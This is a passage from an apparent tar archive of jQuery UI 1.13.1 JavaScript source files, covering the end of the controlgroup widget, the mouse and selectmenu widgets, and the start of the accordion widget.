); return; } // Make sure the widget actually exists if ( !$.fn[ widget ] ) { return; } // We assume everything is in the middle to start because we can't determine // first / last elements until all enhancments are done. if ( that[ "_" + widget + "Options" ] ) { options = that[ "_" + widget + "Options" ]( "middle" ); } else { options = { classes: {} }; } // Find instances of this widget inside controlgroup and init them that.element .find( selector ) .each( function() { var element = $( this ); var instance = element[ widget ]( "instance" ); // We need to clone the default options for this type of widget to avoid // polluting the variable options which has a wider scope than a single widget. var instanceOptions = $.widget.extend( {}, options ); // If the button is the child of a spinner ignore it // TODO: Find a more generic solution if ( widget === "button" && element.parent( ".ui-spinner" ).length ) { return; } // Create the widget if it doesn't exist if ( !instance ) { instance = element[ widget ]()[ widget ]( "instance" ); } if ( instance ) { instanceOptions.classes = that._resolveClassesValues( instanceOptions.classes, instance ); } element[ widget ]( instanceOptions ); // Store an instance of the controlgroup to be able to reference // from the outermost element for changing options and refresh var widgetElement = element[ widget ]( "widget" ); $.data( widgetElement[ 0 ], "ui-controlgroup-data", instance ? instance : element[ widget ]( "instance" ) ); childWidgets.push( widgetElement[ 0 ] ); } ); } ); this.childWidgets = $( $.uniqueSort( childWidgets ) ); this._addClass( this.childWidgets, "ui-controlgroup-item" ); }, _callChildMethod: function( method ) { this.childWidgets.each( function() { var element = $( this ), data = element.data( "ui-controlgroup-data" ); if ( data && data[ method ] ) { data[ method ](); } } ); }, _updateCornerClass: function( element, position ) { var remove = "ui-corner-top ui-corner-bottom ui-corner-left ui-corner-right ui-corner-all"; var add = this._buildSimpleOptions( position, "label" ).classes.label; this._removeClass( element, null, remove ); this._addClass( element, null, add ); }, _buildSimpleOptions: function( position, key ) { var direction = this.options.direction === "vertical"; var result = { classes: {} }; result.classes[ key ] = { "middle": "", "first": "ui-corner-" + ( direction ? "top" : "left" ), "last": "ui-corner-" + ( direction ? "bottom" : "right" ), "only": "ui-corner-all" }[ position ]; return result; }, _spinnerOptions: function( position ) { var options = this._buildSimpleOptions( position, "ui-spinner" ); options.classes[ "ui-spinner-up" ] = ""; options.classes[ "ui-spinner-down" ] = ""; return options; }, _buttonOptions: function( position ) { return this._buildSimpleOptions( position, "ui-button" ); }, _checkboxradioOptions: function( position ) { return this._buildSimpleOptions( position, "ui-checkboxradio-label" ); }, _selectmenuOptions: function( position ) { var direction = this.options.direction === "vertical"; return { width: direction ? "auto" : false, classes: { middle: { "ui-selectmenu-button-open": "", "ui-selectmenu-button-closed": "" }, first: { "ui-selectmenu-button-open": "ui-corner-" + ( direction ? "top" : "tl" ), "ui-selectmenu-button-closed": "ui-corner-" + ( direction ? "top" : "left" ) }, last: { "ui-selectmenu-button-open": direction ? "" : "ui-corner-tr", "ui-selectmenu-button-closed": "ui-corner-" + ( direction ? "bottom" : "right" ) }, only: { "ui-selectmenu-button-open": "ui-corner-top", "ui-selectmenu-button-closed": "ui-corner-all" } }[ position ] }; }, _resolveClassesValues: function( classes, instance ) { var result = {}; $.each( classes, function( key ) { var current = instance.options.classes[ key ] || ""; current = String.prototype.trim.call( current.replace( controlgroupCornerRegex, "" ) ); result[ key ] = ( current + " " + classes[ key ] ).replace( /\s+/g, " " ); } ); return result; }, _setOption: function( key, value ) { if ( key === "direction" ) { this._removeClass( "ui-controlgroup-" + this.options.direction ); } this._super( key, value ); if ( key === "disabled" ) { this._callChildMethod( value ? "disable" : "enable" ); return; } this.refresh(); }, refresh: function() { var children, that = this; this._addClass( "ui-controlgroup ui-controlgroup-" + this.options.direction ); if ( this.options.direction === "horizontal" ) { this._addClass( null, "ui-helper-clearfix" ); } this._initWidgets(); children = this.childWidgets; // We filter here because we need to track all childWidgets not just the visible ones if ( this.options.onlyVisible ) { children = children.filter( ":visible" ); } if ( children.length ) { // We do this last because we need to make sure all enhancment is done // before determining first and last $.each( [ "first", "last" ], function( index, value ) { var instance = children[ value ]().data( "ui-controlgroup-data" ); if ( instance && that[ "_" + instance.widgetName + "Options" ] ) { var options = that[ "_" + instance.widgetName + "Options" ]( children.length === 1 ? "only" : value ); options.classes = that._resolveClassesValues( options.classes, instance ); instance.element[ instance.widgetName ]( options ); } else { that._updateCornerClass( children[ value ](), value ); } } ); // Finally call the refresh method on each of the child widgets. this._callChildMethod( "refresh" ); } } } ); } ); �������������������������������������������������������������������������������������js/jquery/ui/mouse.js�������������������������������������������������������������������������������0000644�����������������00000014057�14717703502�0010617 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Mouse 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Mouse //>>group: Widgets //>>description: Abstracts mouse-based interactions to assist in creating certain widgets. //>>docs: http://api.jqueryui.com/mouse/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; var mouseHandled = false; $( document ).on( "mouseup", function() { mouseHandled = false; } ); return $.widget( "ui.mouse", { version: "1.13.1", options: { cancel: "input, textarea, button, select, option", distance: 1, delay: 0 }, _mouseInit: function() { var that = this; this.element .on( "mousedown." + this.widgetName, function( event ) { return that._mouseDown( event ); } ) .on( "click." + this.widgetName, function( event ) { if ( true === $.data( event.target, that.widgetName + ".preventClickEvent" ) ) { $.removeData( event.target, that.widgetName + ".preventClickEvent" ); event.stopImmediatePropagation(); return false; } } ); this.started = false; }, // TODO: make sure destroying one instance of mouse doesn't mess with // other instances of mouse _mouseDestroy: function() { this.element.off( "." + this.widgetName ); if ( this._mouseMoveDelegate ) { this.document .off( "mousemove." + this.widgetName, this._mouseMoveDelegate ) .off( "mouseup." + this.widgetName, this._mouseUpDelegate ); } }, _mouseDown: function( event ) { // don't let more than one widget handle mouseStart if ( mouseHandled ) { return; } this._mouseMoved = false; // We may have missed mouseup (out of window) if ( this._mouseStarted ) { this._mouseUp( event ); } this._mouseDownEvent = event; var that = this, btnIsLeft = ( event.which === 1 ), // event.target.nodeName works around a bug in IE 8 with // disabled inputs (#7620) elIsCancel = ( typeof this.options.cancel === "string" && event.target.nodeName ? $( event.target ).closest( this.options.cancel ).length : false ); if ( !btnIsLeft || elIsCancel || !this._mouseCapture( event ) ) { return true; } this.mouseDelayMet = !this.options.delay; if ( !this.mouseDelayMet ) { this._mouseDelayTimer = setTimeout( function() { that.mouseDelayMet = true; }, this.options.delay ); } if ( this._mouseDistanceMet( event ) && this._mouseDelayMet( event ) ) { this._mouseStarted = ( this._mouseStart( event ) !== false ); if ( !this._mouseStarted ) { event.preventDefault(); return true; } } // Click event may never have fired (Gecko & Opera) if ( true === $.data( event.target, this.widgetName + ".preventClickEvent" ) ) { $.removeData( event.target, this.widgetName + ".preventClickEvent" ); } // These delegates are required to keep context this._mouseMoveDelegate = function( event ) { return that._mouseMove( event ); }; this._mouseUpDelegate = function( event ) { return that._mouseUp( event ); }; this.document .on( "mousemove." + this.widgetName, this._mouseMoveDelegate ) .on( "mouseup." + this.widgetName, this._mouseUpDelegate ); event.preventDefault(); mouseHandled = true; return true; }, _mouseMove: function( event ) { // Only check for mouseups outside the document if you've moved inside the document // at least once. This prevents the firing of mouseup in the case of IE<9, which will // fire a mousemove event if content is placed under the cursor. See #7778 // Support: IE <9 if ( this._mouseMoved ) { // IE mouseup check - mouseup happened when mouse was out of window if ( $.ui.ie && ( !document.documentMode || document.documentMode < 9 ) && !event.button ) { return this._mouseUp( event ); // Iframe mouseup check - mouseup occurred in another document } else if ( !event.which ) { // Support: Safari <=8 - 9 // Safari sets which to 0 if you press any of the following keys // during a drag (#14461) if ( event.originalEvent.altKey || event.originalEvent.ctrlKey || event.originalEvent.metaKey || event.originalEvent.shiftKey ) { this.ignoreMissingWhich = true; } else if ( !this.ignoreMissingWhich ) { return this._mouseUp( event ); } } } if ( event.which || event.button ) { this._mouseMoved = true; } if ( this._mouseStarted ) { this._mouseDrag( event ); return event.preventDefault(); } if ( this._mouseDistanceMet( event ) && this._mouseDelayMet( event ) ) { this._mouseStarted = ( this._mouseStart( this._mouseDownEvent, event ) !== false ); if ( this._mouseStarted ) { this._mouseDrag( event ); } else { this._mouseUp( event ); } } return !this._mouseStarted; }, _mouseUp: function( event ) { this.document .off( "mousemove." + this.widgetName, this._mouseMoveDelegate ) .off( "mouseup." + this.widgetName, this._mouseUpDelegate ); if ( this._mouseStarted ) { this._mouseStarted = false; if ( event.target === this._mouseDownEvent.target ) { $.data( event.target, this.widgetName + ".preventClickEvent", true ); } this._mouseStop( event ); } if ( this._mouseDelayTimer ) { clearTimeout( this._mouseDelayTimer ); delete this._mouseDelayTimer; } this.ignoreMissingWhich = false; mouseHandled = false; event.preventDefault(); }, _mouseDistanceMet: function( event ) { return ( Math.max( Math.abs( this._mouseDownEvent.pageX - event.pageX ), Math.abs( this._mouseDownEvent.pageY - event.pageY ) ) >= this.options.distance ); }, _mouseDelayMet: function( /* event */ ) { return this.mouseDelayMet; }, // These are placeholder methods, to be overriden by extending plugin _mouseStart: function( /* event */ ) {}, _mouseDrag: function( /* event */ ) {}, _mouseStop: function( /* event */ ) {}, _mouseCapture: function( /* event */ ) { return true; } } ); } ); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/selectmenu.js��������������������������������������������������������������������������0000644�����������������00000037453�14717703502�0011640 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Selectmenu 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Selectmenu //>>group: Widgets /* eslint-disable max-len */ //>>description: Duplicates and extends the functionality of a native HTML select element, allowing it to be customizable in behavior and appearance far beyond the limitations of a native select. /* eslint-enable max-len */ //>>docs: http://api.jqueryui.com/selectmenu/ //>>demos: http://jqueryui.com/selectmenu/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/selectmenu.css, ../../themes/base/button.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./menu", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.widget( "ui.selectmenu", [ $.ui.formResetMixin, { version: "1.13.1", defaultElement: "<select>", options: { appendTo: null, classes: { "ui-selectmenu-button-open": "ui-corner-top", "ui-selectmenu-button-closed": "ui-corner-all" }, disabled: null, icons: { button: "ui-icon-triangle-1-s" }, position: { my: "left top", at: "left bottom", collision: "none" }, width: false, // Callbacks change: null, close: null, focus: null, open: null, select: null }, _create: function() { var selectmenuId = this.element.uniqueId().attr( "id" ); this.ids = { element: selectmenuId, button: selectmenuId + "-button", menu: selectmenuId + "-menu" }; this._drawButton(); this._drawMenu(); this._bindFormResetHandler(); this._rendered = false; this.menuItems = $(); }, _drawButton: function() { var icon, that = this, item = this._parseOption( this.element.find( "option:selected" ), this.element[ 0 ].selectedIndex ); // Associate existing label with the new button this.labels = this.element.labels().attr( "for", this.ids.button ); this._on( this.labels, { click: function( event ) { this.button.trigger( "focus" ); event.preventDefault(); } } ); // Hide original select element this.element.hide(); // Create button this.button = $( "<span>", { tabindex: this.options.disabled ? -1 : 0, id: this.ids.button, role: "combobox", "aria-expanded": "false", "aria-autocomplete": "list", "aria-owns": this.ids.menu, "aria-haspopup": "true", title: this.element.attr( "title" ) } ) .insertAfter( this.element ); this._addClass( this.button, "ui-selectmenu-button ui-selectmenu-button-closed", "ui-button ui-widget" ); icon = $( "<span>" ).appendTo( this.button ); this._addClass( icon, "ui-selectmenu-icon", "ui-icon " + this.options.icons.button ); this.buttonItem = this._renderButtonItem( item ) .appendTo( this.button ); if ( this.options.width !== false ) { this._resizeButton(); } this._on( this.button, this._buttonEvents ); this.button.one( "focusin", function() { // Delay rendering the menu items until the button receives focus. // The menu may have already been rendered via a programmatic open. if ( !that._rendered ) { that._refreshMenu(); } } ); }, _drawMenu: function() { var that = this; // Create menu this.menu = $( "<ul>", { "aria-hidden": "true", "aria-labelledby": this.ids.button, id: this.ids.menu } ); // Wrap menu this.menuWrap = $( "<div>" ).append( this.menu ); this._addClass( this.menuWrap, "ui-selectmenu-menu", "ui-front" ); this.menuWrap.appendTo( this._appendTo() ); // Initialize menu widget this.menuInstance = this.menu .menu( { classes: { "ui-menu": "ui-corner-bottom" }, role: "listbox", select: function( event, ui ) { event.preventDefault(); // Support: IE8 // If the item was selected via a click, the text selection // will be destroyed in IE that._setSelection(); that._select( ui.item.data( "ui-selectmenu-item" ), event ); }, focus: function( event, ui ) { var item = ui.item.data( "ui-selectmenu-item" ); // Prevent inital focus from firing and check if its a newly focused item if ( that.focusIndex != null && item.index !== that.focusIndex ) { that._trigger( "focus", event, { item: item } ); if ( !that.isOpen ) { that._select( item, event ); } } that.focusIndex = item.index; that.button.attr( "aria-activedescendant", that.menuItems.eq( item.index ).attr( "id" ) ); } } ) .menu( "instance" ); // Don't close the menu on mouseleave this.menuInstance._off( this.menu, "mouseleave" ); // Cancel the menu's collapseAll on document click this.menuInstance._closeOnDocumentClick = function() { return false; }; // Selects often contain empty items, but never contain dividers this.menuInstance._isDivider = function() { return false; }; }, refresh: function() { this._refreshMenu(); this.buttonItem.replaceWith( this.buttonItem = this._renderButtonItem( // Fall back to an empty object in case there are no options this._getSelectedItem().data( "ui-selectmenu-item" ) || {} ) ); if ( this.options.width === null ) { this._resizeButton(); } }, _refreshMenu: function() { var item, options = this.element.find( "option" ); this.menu.empty(); this._parseOptions( options ); this._renderMenu( this.menu, this.items ); this.menuInstance.refresh(); this.menuItems = this.menu.find( "li" ) .not( ".ui-selectmenu-optgroup" ) .find( ".ui-menu-item-wrapper" ); this._rendered = true; if ( !options.length ) { return; } item = this._getSelectedItem(); // Update the menu to have the correct item focused this.menuInstance.focus( null, item ); this._setAria( item.data( "ui-selectmenu-item" ) ); // Set disabled state this._setOption( "disabled", this.element.prop( "disabled" ) ); }, open: function( event ) { if ( this.options.disabled ) { return; } // If this is the first time the menu is being opened, render the items if ( !this._rendered ) { this._refreshMenu(); } else { // Menu clears focus on close, reset focus to selected item this._removeClass( this.menu.find( ".ui-state-active" ), null, "ui-state-active" ); this.menuInstance.focus( null, this._getSelectedItem() ); } // If there are no options, don't open the menu if ( !this.menuItems.length ) { return; } this.isOpen = true; this._toggleAttr(); this._resizeMenu(); this._position(); this._on( this.document, this._documentClick ); this._trigger( "open", event ); }, _position: function() { this.menuWrap.position( $.extend( { of: this.button }, this.options.position ) ); }, close: function( event ) { if ( !this.isOpen ) { return; } this.isOpen = false; this._toggleAttr(); this.range = null; this._off( this.document ); this._trigger( "close", event ); }, widget: function() { return this.button; }, menuWidget: function() { return this.menu; }, _renderButtonItem: function( item ) { var buttonItem = $( "<span>" ); this._setText( buttonItem, item.label ); this._addClass( buttonItem, "ui-selectmenu-text" ); return buttonItem; }, _renderMenu: function( ul, items ) { var that = this, currentOptgroup = ""; $.each( items, function( index, item ) { var li; if ( item.optgroup !== currentOptgroup ) { li = $( "<li>", { text: item.optgroup } ); that._addClass( li, "ui-selectmenu-optgroup", "ui-menu-divider" + ( item.element.parent( "optgroup" ).prop( "disabled" ) ? " ui-state-disabled" : "" ) ); li.appendTo( ul ); currentOptgroup = item.optgroup; } that._renderItemData( ul, item ); } ); }, _renderItemData: function( ul, item ) { return this._renderItem( ul, item ).data( "ui-selectmenu-item", item ); }, _renderItem: function( ul, item ) { var li = $( "<li>" ), wrapper = $( "<div>", { title: item.element.attr( "title" ) } ); if ( item.disabled ) { this._addClass( li, null, "ui-state-disabled" ); } this._setText( wrapper, item.label ); return li.append( wrapper ).appendTo( ul ); }, _setText: function( element, value ) { if ( value ) { element.text( value ); } else { element.html( " " ); } }, _move: function( direction, event ) { var item, next, filter = ".ui-menu-item"; if ( this.isOpen ) { item = this.menuItems.eq( this.focusIndex ).parent( "li" ); } else { item = this.menuItems.eq( this.element[ 0 ].selectedIndex ).parent( "li" ); filter += ":not(.ui-state-disabled)"; } if ( direction === "first" || direction === "last" ) { next = item[ direction === "first" ? "prevAll" : "nextAll" ]( filter ).eq( -1 ); } else { next = item[ direction + "All" ]( filter ).eq( 0 ); } if ( next.length ) { this.menuInstance.focus( event, next ); } }, _getSelectedItem: function() { return this.menuItems.eq( this.element[ 0 ].selectedIndex ).parent( "li" ); }, _toggle: function( event ) { this[ this.isOpen ? "close" : "open" ]( event ); }, _setSelection: function() { var selection; if ( !this.range ) { return; } if ( window.getSelection ) { selection = window.getSelection(); selection.removeAllRanges(); selection.addRange( this.range ); // Support: IE8 } else { this.range.select(); } // Support: IE // Setting the text selection kills the button focus in IE, but // restoring the focus doesn't kill the selection. this.button.focus(); }, _documentClick: { mousedown: function( event ) { if ( !this.isOpen ) { return; } if ( !$( event.target ).closest( ".ui-selectmenu-menu, #" + $.escapeSelector( this.ids.button ) ).length ) { this.close( event ); } } }, _buttonEvents: { // Prevent text selection from being reset when interacting with the selectmenu (#10144) mousedown: function() { var selection; if ( window.getSelection ) { selection = window.getSelection(); if ( selection.rangeCount ) { this.range = selection.getRangeAt( 0 ); } // Support: IE8 } else { this.range = document.selection.createRange(); } }, click: function( event ) { this._setSelection(); this._toggle( event ); }, keydown: function( event ) { var preventDefault = true; switch ( event.keyCode ) { case $.ui.keyCode.TAB: case $.ui.keyCode.ESCAPE: this.close( event ); preventDefault = false; break; case $.ui.keyCode.ENTER: if ( this.isOpen ) { this._selectFocusedItem( event ); } break; case $.ui.keyCode.UP: if ( event.altKey ) { this._toggle( event ); } else { this._move( "prev", event ); } break; case $.ui.keyCode.DOWN: if ( event.altKey ) { this._toggle( event ); } else { this._move( "next", event ); } break; case $.ui.keyCode.SPACE: if ( this.isOpen ) { this._selectFocusedItem( event ); } else { this._toggle( event ); } break; case $.ui.keyCode.LEFT: this._move( "prev", event ); break; case $.ui.keyCode.RIGHT: this._move( "next", event ); break; case $.ui.keyCode.HOME: case $.ui.keyCode.PAGE_UP: this._move( "first", event ); break; case $.ui.keyCode.END: case $.ui.keyCode.PAGE_DOWN: this._move( "last", event ); break; default: this.menu.trigger( event ); preventDefault = false; } if ( preventDefault ) { event.preventDefault(); } } }, _selectFocusedItem: function( event ) { var item = this.menuItems.eq( this.focusIndex ).parent( "li" ); if ( !item.hasClass( "ui-state-disabled" ) ) { this._select( item.data( "ui-selectmenu-item" ), event ); } }, _select: function( item, event ) { var oldIndex = this.element[ 0 ].selectedIndex; // Change native select element this.element[ 0 ].selectedIndex = item.index; this.buttonItem.replaceWith( this.buttonItem = this._renderButtonItem( item ) ); this._setAria( item ); this._trigger( "select", event, { item: item } ); if ( item.index !== oldIndex ) { this._trigger( "change", event, { item: item } ); } this.close( event ); }, _setAria: function( item ) { var id = this.menuItems.eq( item.index ).attr( "id" ); this.button.attr( { "aria-labelledby": id, "aria-activedescendant": id } ); this.menu.attr( "aria-activedescendant", id ); }, _setOption: function( key, value ) { if ( key === "icons" ) { var icon = this.button.find( "span.ui-icon" ); this._removeClass( icon, null, this.options.icons.button ) ._addClass( icon, null, value.button ); } this._super( key, value ); if ( key === "appendTo" ) { this.menuWrap.appendTo( this._appendTo() ); } if ( key === "width" ) { this._resizeButton(); } }, _setOptionDisabled: function( value ) { this._super( value ); this.menuInstance.option( "disabled", value ); this.button.attr( "aria-disabled", value ); this._toggleClass( this.button, null, "ui-state-disabled", value ); this.element.prop( "disabled", value ); if ( value ) { this.button.attr( "tabindex", -1 ); this.close(); } else { this.button.attr( "tabindex", 0 ); } }, _appendTo: function() { var element = this.options.appendTo; if ( element ) { element = element.jquery || element.nodeType ? $( element ) : this.document.find( element ).eq( 0 ); } if ( !element || !element[ 0 ] ) { element = this.element.closest( ".ui-front, dialog" ); } if ( !element.length ) { element = this.document[ 0 ].body; } return element; }, _toggleAttr: function() { this.button.attr( "aria-expanded", this.isOpen ); // We can't use two _toggleClass() calls here, because we need to make sure // we always remove classes first and add them second, otherwise if both classes have the // same theme class, it will be removed after we add it. this._removeClass( this.button, "ui-selectmenu-button-" + ( this.isOpen ? "closed" : "open" ) ) ._addClass( this.button, "ui-selectmenu-button-" + ( this.isOpen ? "open" : "closed" ) ) ._toggleClass( this.menuWrap, "ui-selectmenu-open", null, this.isOpen ); this.menu.attr( "aria-hidden", !this.isOpen ); }, _resizeButton: function() { var width = this.options.width; // For `width: false`, just remove inline style and stop if ( width === false ) { this.button.css( "width", "" ); return; } // For `width: null`, match the width of the original element if ( width === null ) { width = this.element.show().outerWidth(); this.element.hide(); } this.button.outerWidth( width ); }, _resizeMenu: function() { this.menu.outerWidth( Math.max( this.button.outerWidth(), // Support: IE10 // IE10 wraps long text (possibly a rounding bug) // so we add 1px to avoid the wrapping this.menu.width( "" ).outerWidth() + 1 ) ); }, _getCreateOptions: function() { var options = this._super(); options.disabled = this.element.prop( "disabled" ); return options; }, _parseOptions: function( options ) { var that = this, data = []; options.each( function( index, item ) { if ( item.hidden ) { return; } data.push( that._parseOption( $( item ), index ) ); } ); this.items = data; }, _parseOption: function( option, index ) { var optgroup = option.parent( "optgroup" ); return { element: option, index: index, value: option.val(), label: option.text(), optgroup: optgroup.attr( "label" ) || "", disabled: optgroup.prop( "disabled" ) || option.prop( "disabled" ) }; }, _destroy: function() { this._unbindFormResetHandler(); this.menuWrap.remove(); this.button.remove(); this.element.show(); this.element.removeUniqueId(); this.labels.attr( "for", this.ids.element ); } } ] ); } ); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/accordion.js���������������������������������������������������������������������������0000644�����������������00000037310�14717703502�0011425 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Accordion 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Accordion //>>group: Widgets /* eslint-disable max-len */ //>>description: Displays collapsible content panels for presenting information in a limited amount of space. /* eslint-enable max-len */ //>>docs: http://api.jqueryui.com/accordion/ //>>demos: http://jqueryui.com/accordion/ //>>css.structure: ../../themes/base/core.css //>>css.structure: ../../themes/base/accordion.css //>>css.theme: ../../themes/base/theme.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.widget( "ui.accordion", { version: "1.13.1", options: { active: 0, animate: {}, classes: { "ui-accordion-header": "ui-corner-top", "ui-accordion-header-collapsed": "ui-corner-all", "ui-accordion-content": "ui-corner-bottom" }, collapsible: false, event: "click", header: function( elem ) { return elem.find( "> li > :first-child" ).add( elem.find( "> :not(li)" ).even() ); }, heightStyle: "auto", icons: { activeHeader: "ui-icon-triangle-1-s", header: "ui-icon-triangle-1-e" }, // Callbacks activate: null, beforeActivate: null }, hideProps: { borderTopWidth: "hide", borderBottomWidth: "hide", paddingTop: "hide", paddingBottom: "hide", height: "hide" }, showProps: { borderTopWidth: "show", borderBottomWidth: "show", paddingTop: "show", paddingBottom: "show", height: "show" }, _create: function() { var options = this.options; this.prevShow = this.prevHide = $(); this._addClass( "ui-accordion", "ui-widget ui-helper-reset" ); this.element.attr( "role", "tablist" ); // Don't allow collapsible: false and active: false / null if ( !options.collapsible && ( options.active === false || options.active == null ) ) { options.active = 0; } this._processPanels(); // handle negative values if ( options.active < 0 ) { options.active += this.headers.length; } this._refresh(); }, _getCreateEventData: function() { return { header: this.active, panel: !this.active.length ? $() : this.active.next() }; }, _createIcons: function() { var icon, children, icons = this.options.icons; if ( icons ) { icon = $( "<span>" ); this._addClass( icon, "ui-accordion-header-icon", "ui-icon " + icons.header ); icon.prependTo( this.headers ); children = this.active.children( ".ui-accordion-header-icon" ); this._removeClass( children, icons.header ) ._addClass( children, null, icons.activeHeader ) ._addClass( this.headers, "ui-accordion-icons" ); } }, _destroyIcons: function() { this._removeClass( this.headers, "ui-accordion-icons" ); this.headers.children( ".ui-accordion-header-icon" ).remove(); }, _destroy: function() { var contents; // Clean up main element this.element.removeAttr( "role" ); // Clean up headers this.headers .removeAttr( "role aria-expanded aria-selected aria-controls tabIndex" ) .removeUniqueId(); this._destroyIcons(); // Clean up content panels contents = this.headers.next() .css( "display", "" ) .removeAttr( "role aria-hidden aria-labelledby" ) .removeUniqueId(); if ( this.options.heightStyle !== "content" ) { contents.css( "height", "" ); } }, _setOption: function( key, value ) { if ( key === "active" ) { // _activate() will handle invalid values and update this.options this._activate( value ); return; } if ( key === "event" ) { if ( this.options.event ) { this._off( this.headers, this.options.event ); } this._setupEvents( value ); } this._super( key, value ); // Setting collapsible: false while collapsed; open first panel if ( key === "collapsible" && !value && this.options.active === false ) { this._activate( 0 ); } if ( key === "icons" ) { this._destroyIcons(); if ( value ) { this._createIcons(); } } }, _setOptionDisabled: function( value ) { this._super( value ); this.element.attr( "aria-disabled", value ); // Support: IE8 Only // #5332 / #6059 - opacity doesn't cascade to positioned elements in IE // so we need to add the disabled class to the headers and panels this._toggleClass( null, "ui-state-disabled", !!value ); this._toggleClass( this.headers.add( this.headers.next() ), null, "ui-state-disabled", !!value ); }, _keydown: function( event ) { if ( event.altKey || event.ctrlKey ) { return; } var keyCode = $.ui.keyCode, length = this.headers.length, currentIndex = this.headers.index( event.target ), toFocus = false; switch ( event.keyCode ) { case keyCode.RIGHT: case keyCode.DOWN: toFocus = this.headers[ ( currentIndex + 1 ) % length ]; break; case keyCode.LEFT: case keyCode.UP: toFocus = this.headers[ ( currentIndex - 1 + length ) % length ]; break; case keyCode.SPACE: case keyCode.ENTER: this._eventHandler( event ); break; case keyCode.HOME: toFocus = this.headers[ 0 ]; break; case keyCode.END: toFocus = this.headers[ length - 1 ]; break; } if ( toFocus ) { $( event.target ).attr( "tabIndex", -1 ); $( toFocus ).attr( "tabIndex", 0 ); $( toFocus ).trigger( "focus" ); event.preventDefault(); } }, _panelKeyDown: function( event ) { if ( event.keyCode === $.ui.keyCode.UP && event.ctrlKey ) { $( event.currentTarget ).prev().trigger( "focus" ); } }, refresh: function() { var options = this.options; this._processPanels(); // Was collapsed or no panel if ( ( options.active === false && options.collapsible === true ) || !this.headers.length ) { options.active = false; this.active = $(); // active false only when collapsible is true } else if ( options.active === false ) { this._activate( 0 ); // was active, but active panel is gone } else if ( this.active.length && !$.contains( this.element[ 0 ], this.active[ 0 ] ) ) { // all remaining panel are disabled if ( this.headers.length === this.headers.find( ".ui-state-disabled" ).length ) { options.active = false; this.active = $(); // activate previous panel } else { this._activate( Math.max( 0, options.active - 1 ) ); } // was active, active panel still exists } else { // make sure active index is correct options.active = this.headers.index( this.active ); } this._destroyIcons(); this._refresh(); }, _processPanels: function() { var prevHeaders = this.headers, prevPanels = this.panels; if ( typeof this.options.header === "function" ) { this.headers = this.options.header( this.element ); } else { this.headers = this.element.find( this.options.header ); } this._addClass( this.headers, "ui-accordion-header ui-accordion-header-collapsed", "ui-state-default" ); this.panels = this.headers.next().filter( ":not(.ui-accordion-content-active)" ).hide(); this._addClass( this.panels, "ui-accordion-content", "ui-helper-reset ui-widget-content" ); // Avoid memory leaks (#10056) if ( prevPanels ) { this._off( prevHeaders.not( this.headers ) ); this._off( prevPanels.not( this.panels ) ); } }, _refresh: function() { var maxHeight, options = this.options, heightStyle = options.heightStyle, parent = this.element.parent(); this.active = this._findActive( options.active ); this._addClass( this.active, "ui-accordion-header-active", "ui-state-active" ) ._removeClass( this.active, "ui-accordion-header-collapsed" ); this._addClass( this.active.next(), "ui-accordion-content-active" ); this.active.next().show(); this.headers .attr( "role", "tab" ) .each( function() { var header = $( this ), headerId = header.uniqueId().attr( "id" ), panel = header.next(), panelId = panel.uniqueId().attr( "id" ); header.attr( "aria-controls", panelId ); panel.attr( "aria-labelledby", headerId ); } ) .next() .attr( "role", "tabpanel" ); this.headers .not( this.active ) .attr( { "aria-selected": "false", "aria-expanded": "false", tabIndex: -1 } ) .next() .attr( { "aria-hidden": "true" } ) .hide(); // Make sure at least one header is in the tab order if ( !this.active.length ) { this.headers.eq( 0 ).attr( "tabIndex", 0 ); } else { this.active.attr( { "aria-selected": "true", "aria-expanded": "true", tabIndex: 0 } ) .next() .attr( { "aria-hidden": "false" } ); } this._createIcons(); this._setupEvents( options.event ); if ( heightStyle === "fill" ) { maxHeight = parent.height(); this.element.siblings( ":visible" ).each( function() { var elem = $( this ), position = elem.css( "position" ); if ( position === "absolute" || position === "fixed" ) { return; } maxHeight -= elem.outerHeight( true ); } ); this.headers.each( function() { maxHeight -= $( this ).outerHeight( true ); } ); this.headers.next() .each( function() { $( this ).height( Math.max( 0, maxHeight - $( this ).innerHeight() + $( this ).height() ) ); } ) .css( "overflow", "auto" ); } else if ( heightStyle === "auto" ) { maxHeight = 0; this.headers.next() .each( function() { var isVisible = $( this ).is( ":visible" ); if ( !isVisible ) { $( this ).show(); } maxHeight = Math.max( maxHeight, $( this ).css( "height", "" ).height() ); if ( !isVisible ) { $( this ).hide(); } } ) .height( maxHeight ); } }, _activate: function( index ) { var active = this._findActive( index )[ 0 ]; // Trying to activate the already active panel if ( active === this.active[ 0 ] ) { return; } // Trying to collapse, simulate a click on the currently active header active = active || this.active[ 0 ]; this._eventHandler( { target: active, currentTarget: active, preventDefault: $.noop } ); }, _findActive: function( selector ) { return typeof selector === "number" ? this.headers.eq( selector ) : $(); }, _setupEvents: function( event ) { var events = { keydown: "_keydown" }; if ( event ) { $.each( event.split( " " ), function( index, eventName ) { events[ 